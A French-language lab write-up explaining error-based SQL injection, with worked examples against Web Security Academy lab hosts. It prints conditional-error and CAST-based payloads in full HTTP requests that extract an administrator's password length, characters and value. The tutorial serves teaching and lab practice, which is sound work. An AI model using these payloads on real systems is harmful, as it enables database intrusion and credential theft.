Error-based SQL injection

Auteur: Brouettelover 2024-01-03 14:18:29
Categories: > > Tags:

Description

Les injections basés sur les erreurs SQL sont basés sur la réception d’erreur lors de l’extraction ou l’interference de données sensibles d’une base de données.

Les possibilités dépendant de la configuration de la base de données et du type d’erreur donné, vous pouvez par exemple déclencher :

Exploiter des blind SQL injection en jouant sur des erreurs conditionnelles

Certaines applications ne vont pas changer de comportements peut importe si l’ont injecte une condition valide ou non.

Il est parfois possible de forcer l’application à retourner différentes réponses en fonction d’erreur SQL. On peut par exemple créer une requête qui va afficher une erreur si la condition est vraie. Une erreur non gérée lancée par la base de données entraîne souvent une différence dans la réponse de l’application, telle qu’un message d’erreur. Cela vous permet de déduire la “véracité” de la condition injectée.

Comment ça marche ?

Imaginons que nous ayons deux requêtes envoyés avec une valeur “TrackingId” dans un cookie.

Imaginons maintenant que cette valeur est injecté via deux manières différentes :

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
The SQL CASE Expression

Les entrées utilisées utilise le mot-clef “CASE” afin de tester une condition et de retourner une expression différente si la valeur est ‘true’ :

  1. Dans le premier cas, l'expression ne contient pas d'erreur. Elle essaye d'évaler si 'a' == 'a'
  2. Dans le deuxième cas, l'expression essaye de réaliser une division par 0 ce qui cause une erreur de division par 0

Si l’application retourne une réponse différente entre les réponses, on pourra ainsi déterminer si oui ou non un condition injecter est “vraie”.

En utilisant cette technique, on peut retrouver des données en testant des chararacters, 1 par 1 :

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
Explication : Si l'utilisateur 'Administrator' et son mot de passe a une valeur > 'm' alors la base de données va essayé de résoudre la division par 0 ce qui va causer une erreur, dans les autres cas, il ne va rien changer.

Ressource utile : https://portswigger.net/web-security/sql-injection/cheat-sheet

Exemple pratique

L’on sait à l’avance que la base de données contient ceci :

Après avoir essayé plusieurs type de “CONDITIONAL ERRORS”, on détermine que la cible utilise une base de donnée Oracle. Ce qui nous donne une requête de ce type :
GET /filter?category=Accessories HTTP/2
Host: 0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net
Cookie: TrackingId=eUGnl6JnpRtPnPBr' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a; session=UjoTgFAC3pcxfg4CYrKoZgMBA8mhfRpg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
On peut vérifier la taille de notre mot de passe en faisant simplement passé la condition de taille comme déclencheur de l’erreur :
GET /filter?category=Accessories HTTP/2
Host: 0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net
Cookie: TrackingId=eUGnl6JnpRtPnPBr'||(SELECT CASE WHEN LENGTH(password)=§0§ THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=UjoTgFAC3pcxfg4CYrKoZgMBA8mhfRpg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

On peut ensuite tester chaque charactère alphanumérique à chacune des positions jusqu’à 20 pour déterminer le mot de passe :

GET /filter?category=Accessories HTTP/2
Host: 0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net
Cookie: TrackingId=eUGnl6JnpRtPnPBr'||(SELECT CASE WHEN (SUBSTR(password, 20, 1) = '§0§') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=UjoTgFAC3pcxfg4CYrKoZgMBA8mhfRpg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Le mot de passe découvert est alors : v3sklpxdyop5r9wtkill

Vérificateur de syntax : https://www.coderstool.com/sql-syntax-checker

Extraire des données sensibles via des SQL error messages parlant

Certaines bases de données mal configurés peuvent donnés des résultats dans leur message d’erreur. Ces erreurs peuvent alors donnés des informations intéressantes pour un attaquant.

Par exemple, ce message d’erreur arrive lorsque l’on injecte une ‘ dans le paramètre id :

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

On peut remarqué ici que l’on inject une ‘ dans un champ WHERE , cela rend plus facile la construction de mauvaises payloads.

Commenter le reste avec – empêchera l’invalidation de la payload

Fonction CAST

Parfois, il est possible d’induire à une application de généré un message d’erreur qui contient des données retournées par la query.
Pour celà, on peut utiliser la fonction CAST() qui sert à transformé un type de donnée en un autre type.

Exemple :

CAST((SELECT example_column FROM example_table) AS int)

Souvent les données que l’ont veut lire sont des string, essayer de les convertir vers une donnée qu’il n’est pas possible de convertir par exemple un int.
Cela produira alors un message d’erreur :

ERROR: invalid input syntax for type integer: "Example data"

Exemple pratique :

L’on sait à l’avance que la base de données contient ceci :

Je génère donc un message d’erreur avec la fonction CAST :
GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=2RQKRQnndsfatXZR' AND CAST((SELECT 1) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Ce qui me donne cette erreur : ERROR: argument of AND must be type boolean, not type integer Position: 63

Ensuite je fais une conversion que je sais possible qui ne va pas me retourner d’erreurs :

GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=2RQKRQnndsfatXZR' AND 1=CAST((SELECT 1) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Ce qui revient à faire 1 = 1.

J’essaye maintenant d’injecter la base de données pour avoir un utilisateur :

GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=2RQKRQnndsfatXZR' AND 1=CAST((SELECT username FROM users) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Ce qui me donne ce message d’erreur :

Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = ‘2RQKRQnndsfatXZR’ AND 1=CAST((SELECT username FROM users) AS’. Expected char

Ce qui m’indique que la chaine est limité à un certains nombre de caractères, je supprime donc ce que contenait le champ “TrackingID=’” :

GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=' AND 1=CAST((SELECT username FROM users) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

L’erreur retourner devient alors :

ERROR: more than one row returned by a subquery used as an expression

Je limite donc à la première entrée de la table pour n’afficher qu’une seule valeur :

GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

La fonction LIMIT me permet de limité le nombre d’entré à afficher

L’erreur m’indique le nom du première utilisateur qui est :
ERROR: invalid input syntax for type integer: “administrator”

Il me suffit alors de sélectionner le premier mot de passe qui sera celui qui appartient à “administrator” pour le récupérer.

GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Ce qui me donne ce ceci :

ERROR: invalid input syntax for type integer: “jwbzon4rz5honmz854mk